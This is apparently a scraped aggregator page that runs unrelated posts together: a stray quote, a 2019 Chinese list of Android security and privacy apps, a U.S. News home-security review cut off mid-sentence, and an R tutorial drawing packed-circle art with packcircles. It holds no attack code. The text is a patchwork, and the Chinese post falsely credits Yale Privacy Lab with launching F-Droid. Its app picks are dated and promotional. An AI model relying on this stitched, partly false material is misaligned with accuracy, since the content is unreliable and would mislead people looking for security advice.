“The lack of resources available limits the focus on security and the majority of customers don’t perceive the risk high enough to pay for more secure products or address the risk through other means,” Lee added.

2019年最好的Android安全软件清单

$
0
0

我们都知道Android的安全生态环境比iOS要糟糕得多,尤其是在中国市场,由于Google Play缺席,本土应用分发市场的野蛮生长,安全审查缺乏标准,以及各种黑产利益的驱使,Android原生系统补丁更新不及时,甚至手机厂商和渠道新机预装全家桶,导致中国成为全球Android恶意软件的重灾区。

2019年新年将至,24Ker的安全专家为Android用户精心挑选了一份Android顶级安全APP清单,可以把你的Android手机安全性瞬间提升到iOS的高度(甚至更高)。

谷歌官方发布的科学上网APP:INTRA
2019年最好的Android安全软件清单

谷歌项目 Jigsaw 周三宣布发布一款名为 Intra(Google Play) 的新应用程序,旨在保护那些用不起VPN的Android用户免受DNS解析操纵的骚扰,情绪稳定地科学上网,好好学习。默认情况下,Intra指向Google自己的DNS服务器,用户也可以在设置中修改适用其他服务器(例如 Cloudflare 或IBM的 Quad9) 。

根据CNET的报道,Intra将更新到Android Pie的最新版本中(但国内用户预计难以获得)。据报道,当前大约80%的Android用户没有使用最新版本的Android操作系统。有兴趣的读者们,现在可以去 Google Play 下载Intra。

比GOOGLE PLAY还要干净的ANDROID应用商店:F-DROID

让Android用户“惊喜”的是,不少销售渠道的Android手机会预装恶意软件,例如安全Check Point 曾爆料 包括三星、LG、小米、Vivo在内的多个品牌手机中被发现预装了恶意软件。

看到这里,你手里的Android手机是不是都快被吓掉了?难道Android安全问题真的无药可救了吗?不!

耶鲁大学隐私实验室最近推出的这个纯净版应用商店 F-Droid (可以直接扫描下面的二维码下载,无需翻墙即可使用),让我们重新看到了希望。


2019年最好的Android安全软件清单

耶鲁隐私实验室的研究人员认为,谷歌已经完全背离了Android根植的FOSS免费自由软件运动的初衷,导致Google Play应用商店被大量充满铜臭味的专有软件、恶意软件和广告追踪软件严重污染,而开发者、应用分发渠道和最终用户之间的信任基础已经被完全摧毁。

F-Droid开出的药方就是回归FOSS,因为只有公开透明的开源代码才是安全的终极之道,要想彻底摆脱老大哥和小弟们的监控和窥探,最根本的做法就是远离Google Play和第三方应用市场的“黑暗森林”,另起炉灶。

F-Droid只接受符合FOSS标准的开源软件上架,而且对追踪器和恶意软件的审核也比Google Play要严格得多。也真是因为这两个苛刻的筛选条件,F-Droid里的应用数量有限,完全没法跟百万级规模的Google Play相比,但是对于高度重视隐私和数据安全的用户来说,F-Droid迈出的这一步意义重大。而且,你可以保留Google Play以备不时之需。

最安全的ANDROID无痕浏览器:ORBOT

在Android设备上无痕私密浏览的最佳方式无疑是使用Orbot,它是一个免费代理,它使用斯诺登推荐的Tor来加密互联网流量,然后通过世界各地的计算机重新对其进行重新连接。该应用程序兼容Android 4.0以上版本,但旧版本的用户需要从 Guardian Project网站 手动下载该应用程序(腿脚不便的同学请关注24ker微信号i24ker,后台回复:orbot)。

最好的免费ANDROID杀毒软件:

Lookout、Avira、AVG、Avast,国内用户还可以考虑LBE等。

最好的ANDROID防火墙

仅仅给Android手机安装杀毒软件是不够的!

云移动风险管理公司MetaIntell曾对包括亚马逊、CNET以及谷歌官方应用商店Google Play上架APP进行调查,发现人们最常下载的前500名应用中,92%的Android应用都采用了不安全的通讯协议,60%的应用与黑名单列表中的网站通讯,20%的应用在用户不知情或未经用户授权的情况下加载远程或者本地应用。

可以看出,Android安全软件虽然能防范恶意软件,但对穿着西装的流氓背着机主“行那苟且之事”则无可奈何。这时候就需要请Android防火墙出马了,以下是目前比较主流的三款Android手机防火墙。

一、NoRoot Firewall


2019年最好的Android安全软件清单
2019年最好的Android安全软件清单

点评:免费,且不需要root就可使用!界面简洁漂亮,可以为每个APP设定网络访问权限,例如能否使用WiFi或者移动数据,彻底杜绝流量的“跑冒滴漏”。此外NoRoot还能为APP设置IP地址过滤规则,只允许APP访问特定的IP网址或域名,防止APP中的恶意代码悄悄访问非法地址。

二、NetGuard


2019年最好的Android安全软件清单
2019年最好的Android安全软件清单

点评:跟NoRoot一样不需要root就可使用,这一点对于安全来说非常重要!NetGuard界面很酷,功能更加强大,尤其是支持Tethering网络中所有设备的防护,这一点对于经常使用手机热点分享的团队或者家人来说非常重要,其他亮点功能包括支持封锁系统应用,应用访问互联网提醒等。NetGuard还有一个付费的专业版,提供网络流量过滤、网速提示等付费功能。

三、DroidWall


2019年最好的Android安全软件清单
2019年最好的Android安全软件清单

点评:这是三款中唯一一款需要root的产品,也是目前最流行的Android防火墙之一,可以手动定义IP表规则,适合IT专业人士上手。

本文由24Ker授权发布

Best Home Security Systems of 2019

$
0
0

U.S. News & World Report published its first 360 review of home security systems. The review compares both professionally installed and DIY systems, including Vivint Smart Home, ADT, Xfinity Home, Nest Secure and Ring Alarm.

U.S. News & World Report: “ Best Home Security Systems of 2019 ” by Brad Berman

The Top Home Security Systems of2019 Vivint Smart Home : Best for a complete package of home security and automation Abode : Best overall DIY security solution ADT Security : The brand with the most monthly subscribers and biggest monitoring network SimpliSafe : A full-featured, self-contained DIY alarm solution Frontpoint : A solid DIY platform for home security but requires a long-term contract Brinks Home Security : Discounted equipment and well-established network of monitoring centers Xfinity Home : Best for integration with home internet and cable TV Nest Secure : Best for month-to-month, no-contract monitoring Ring Alarm : Best for a low-cost, video-oriented security plan Scout Alarm : Best app-based security system Finding the Right Home Security System forYou

The goal of a home security system is to provide peace of mind. Achieving that goal is easier than ever, thanks to new wireless technologies and smartphones. As a result, you have an unprecedented number of options for alarm and home automation. As we embarked upon our months-long research into the available systems, we encountered the same questions that you might face: How do these alarm systems work? Which features are most important? What are the relative pros and cons of different types of components and systems? What’s a good price?

U.S. News & World Report applied our unique 360 Review methodology to answer these questions. Learn more: How we evaluated home security systems using the U.S. News 360 Review methodology.

To identify the best alarm systems, our research revealed one overarching theme: There is no one-size-fits-all solution to home security. Every system has its chief advantages and its trade-offs regarding design, cost and level of service. Yet, there are key differences between one security system and another ― and those distinctions guide our recommendations for a system that could best meet your needs and budget.

Your first decision is to choose between the traditional alarm companies offering professional installation and the new breed of DIY security solutions. You might also base your decision on how security cameras, including wireless cameras and the new doorbell cameras, integrate into the home security system.

Best Home Security Systems byCategory Best Pro Installed SecuritySystems

For years, consumers had a single option for home security: hire a dedicated alarm company to run wires through your home and install a keypad-based control panel near the door. Traditional home security companies, which have mostly shifted to wireless systems, continue to offer expertise and technical capabilities to consumers who want a full-service solution. These companies have also expanded to offer a wide range of home-automation products, like smart locks and app-controlled lighting and thermostats. If you prefer to work with an experienced installer ― and are willing to commit to a multiyear contract for monitoring ― then take a look at our guide to the Best Professionally Installed Home Security Systems.

Vivint Smart Home


Best Home Security Systems of 2019
Other Pro Installed systems
Best Home Security Systems of 2019
Best DIY Installed SecuritySystems

More than a decade ago, technology-minded entrepreneurs started to disrupt the home security market. They were inspired by the capabilities of wireless sensors and mobile apps ― and motivated by a desire to free consumers from onerous and expensive multiyear security contracts. Many of us these days are familiar with setting up a broadband router and connecting computers, phones and other devices to our home Wi-Fi network. It’s an easy task for tech-savvy consumers to take it one step further by adding entry sensors, motion detectors and webcams to your home.

Do-it-yourself alarm companies make the process quick and easy by providing clear instructions, online tutorials and phone-based customer support. Our guide to the Best DIY Home Security Systems describes the products that enable you to install high-quality, remote-monitored alarm protection on your own, but at a lower cost than the pro-installed systems and without an expensive long-term contract.

Abode


Best Home Security Systems of 2019
Other DIY Home Security Systems
Best Home Security Systems of 2019
Best Home Security Systems withCameras

Executives from alarm companies told us that they commonly include multiple cameras when they install an alarm system. Many camera units are multifaceted, including such components as motion-triggered lights, two-way audio, sirens and even the capability to detect human faces. Given these capabilities and the strong demand for cameras, including video doorbells, we created a guide to the Best Home Security Systems with Cameras .

Vivint Smart Home


Best Home Security Systems of 2019
Other Home Security Systems with Cameras
Best Home Security Systems of 2019
How to Choose a Home SecuritySystem How do I find the best home security company and the right package for my home?The first decision is whether to work with a company that pr

Bubble Packed Chart with R using packcircles package

$
0
0

Tableau has chart type called “ Packed Bubble Chart ”, while I haven’t really utilized packed bubble chart much, I always thought they are fun and beautiful. I wanted to try creating same chart using R, and I came across package called packcircles .

Reading vignettes was really helpful to figure out how to use the package!!

- introduction vignettes - Progressive packing vignettes to get started on using this package.

Creating Bubble Packed Abstract Art…

I didn’t really have data sets handy to use it for this type of chart, so I’ve decided to play around with image. Initially I wanted to create images used to test colour blindness , but I wasn’t sure what colour palettes should be used to create these images.

Since I currently love Memoji on my iPhone, so I’ve decided I’d use Memoji image as base to create abstract art.

Steps Step 1. Import image and convert image to data frame, so you can extract colour value (RGB) Step 2. Genearate circle packing layout using circleProgressiveLayout function. The resulting data frame here contains center points of circle (x,y) and its radius. Step 3. Convert x & y coordinate from data frame in step 2 so that you can figure out what colour to fill the circle. i.e. Data Frame from Step 1 and Step 2 should be joined, so you need to adjust the scaling. Step 4. Create data frame using circleLayoutVertices function for plotting with ggplot2. The resulting data frame now have specified amount of points per indivisual circle so that you can use geom_path or geom_polygon to draw. Step 5. Join data from Step 4 with colour value from Step 3, so that you can use geom_polygon with fill value to colour the circle! library(tidyverse) ## I need tidyverse for everything :) library(imager) ## to create data frame from image library(scales) ## rescale function is so handy! library(packcircles) ## making circle packing easy! ## Step 1 im <- load.image("https://farm5.staticflickr.com/4868/45503751845_948f121563_z.jpg") #memoji2 ## if you want to take a look at image.. :) #plot(im) ## Convert Image into Data Frame im.df.colour <- im %>% as.data.frame(wide="c") %>% ## so that rgb value is in separate column. rename(im_x=x,im_y=y) %>% mutate(hex=rgb(c.1,c.2,c.3)) ## Step 2 using circleProgressiveLayout function. ## Generate circle packing layout using rbeta distribution as size of circles pack_layout <- circleProgressiveLayout(rbeta(2000,1,2), sizetype='area') %>% ## Step 3 - I want to figure out what colour to use, so I want layout & image df to have same scaling. mutate(im_x=floor(rescale(x,to=range(im.df.colour$im_x))), im_y=floor(rescale(y,to=range(im.df.colour$im_y))), ## also generate id, so i can join the data frame easily later! id=row_number()) %>% inner_join(im.df.colour %>% select(im_x,im_y,hex), by=c("im_x","im_y")) ## Step 4 ## Using the layout above create data frame using circleLayoutVertices function so that you can plot circle using ggplot2 data_gg <- circleLayoutVertices(pack_layout) %>% inner_join(pack_layout %>% select(id,hex), by=c("id")) ## Step 5 data_gg %>% ggplot(aes(x=x,y=y,group=id)) + geom_polygon(aes(fill=hex)) + scale_fill_identity() + coord_equal() + scale_y_reverse() + ## you need to reverse y-axis theme_void()
Bubble Packed Chart with R using packcircles package
Bubble Packed Chart with R using packcircles package

Just few more of these…

Good image to use is square image with above, but it’s fun turning into logo & images!!!

Below are just few more things I’ve experimented with circle packing technique…

Experimenting with RGB Colour… ## Generate layout from 500 uniformly distributed number 0 to 1 as area. pack_layout1 <- circleProgressiveLayout(runif(n=500), sizetype='area') ## I want to colour each circle with different rgb value, so I'll append data pack_layout1 <- pack_layout1 %>% mutate(hex_r=rgb(1,rescale(x),rescale(y),rescale(radius)), hex_g=rgb(rescale(x),1,rescale(y),rescale(radius)), hex_b=rgb(rescale(x),rescale(y),1,rescale(radius)), id = row_number()) ## append id, so you can join this table later. ## pack_layout1 contains data where center of circle should be placed with its radius. ## Now generate data so that you can actually draw circle using ggplot2 data_gg1 <- circleLayoutVertices(pack_layout1, npoints=25) ## notice now you have for each circle, you have 25 x and y coordinates to draw circle! ## Since the colour I want to use for each circle is retained in pack_layout1 data frame, I want to combine the info. Also I want to create 3 sets of different colouring. I want to make long table. data_gg1 <- data_gg1 %>% inner_join(pack_layout1 %>% select(-x,-y), by=c("id")) ## I want to create 3 different coloured variations, so convert above table to long format. data_gg_long <- data_gg1 %>% gather(key="colour_group",value="hex",hex_r:hex_b) %>% mutate(colour_group = factor(colour_group,levels=c("hex_r","hex_g","hex_b"), labels=c("keeping red value constant\nmore green to the right - more blue to the top\nsmaller circle has more transparency", "keeping green value constant\nmore red to the right - more blue to the top\nsmaller circle has more transparency", "keeping blue value constant\nmore red to the right - more green to the top\nsmaller circle has more transparency"))) ## Now the fun part! data_gg_long %>% ggplot(aes(x=x,y=y)) + geom_polygon(aes(group=id),fill="#ffffff") + ## first draw all circle white. geom_polygon(aes(group=id, fill=hex)) + ## then colour with value with some transparency coord_equal() + theme_void() + scale_fill_identity() + scale_y_reverse() + facet_wrap(~colour_group) + theme(plot.background=element_rect(fill="#000000de"), strip.text=element_text(family="Roboto Condensed", color="#ffffffde"))
Bubble Packed Chart with R using packcircles package
Drawing Smaller Circles Inside of Circles ## Instead of using uniform distribution, used beta distribution this time! pack_layout2 <- circleProgressiveLayout(rbeta(1000,1,1), sizetype='area') ## This time I want to fill circle using hue value... pack_layout2 <- pack_layout2 %>% mutate(r = sqrt(x^2 + y^2), ## calculate distance from 0,0 coordinate angle_t = atan2(y,x), ## The arc-tangent of two arguments atan2(y, x) returns the angle between the x-axis and the vector from the origin to (x, y) angle = rescale(angle_t, from=c(-pi,pi)), ## convert theta value to value betwwen 0 and 1 hex = hsv(h=angle, s=rescale(r), v=0.8), id = row_number()) ## use circleLayoutVertices function to generate data frame for ggplot2 & bring colour info. data_gg2 <- circleLayoutVertices(pack_layout2,npoints=25) %>% inner_join(pack_layout2 %>% select(-x,-y), by=c("id")) ## Now create data for inner circles!! But I'm sampling so that NOT all circle has inner circles! I want to pick more bigger circles than smaller circle, so using raidus as weight to sample. data_gg2_1 <- circleLayoutVertices(pack_layout2 %>% sample_n(800, weight=radius) %>% mutate(radius=0.7*radius), npoints=25) ## I want to draw smaller circle, so shrink the radius data_gg2_2 <- circleLayoutVertices(pack_layout2 %>% sample_n(700,weight=radius) %>% mutate(radius=0.5*radius),npoints=25) data_gg2_3 <- circleLayoutVertices(pack_layout2 %>% sample_n(900,weight=radius) %>% mutate(radius=0.3*radius),npoints=25) ## Draw Black and White Version bw <-data_gg2 %>% ggplot(aes(x=x,y=y, group=id)) + geom_path(data=data_gg2, size=0.5, color="#00000090") + geom_path(data=data_gg2_1,size=1, color="#00000090") + geom_path(data=data_gg2_2,size=0.5, color="#00000090") + geom_path(data=data_gg2_3,size=0.5, color="#00000090") + scale_fill_identity() + scale_color_identity() + theme_void() + coord_fixed() ## Draw colourful version hue <-data_gg2 %>% ggplot(aes(x=x,y=y, group=id)) + geom_polygon(aes(fill=hex)) + geom_path(data=data_gg2, size=0.5, color="#ffffff90") + geom_path(data=data_gg2_1,size=1, color="#ffffff90") + geom_path(data=data_gg2_2,size=0.5, color="#ffffff90") + geom_path(data=data_gg2_3,size=0.5, color="#ffffff90") + scale_fill_identity() + scale_color_identity() + theme_void() + coord_fixed() library(patchwork) bw + hue
Bubble Packed Chart with R using packcircles package
Viewing all 12749 articles
Browse latest View live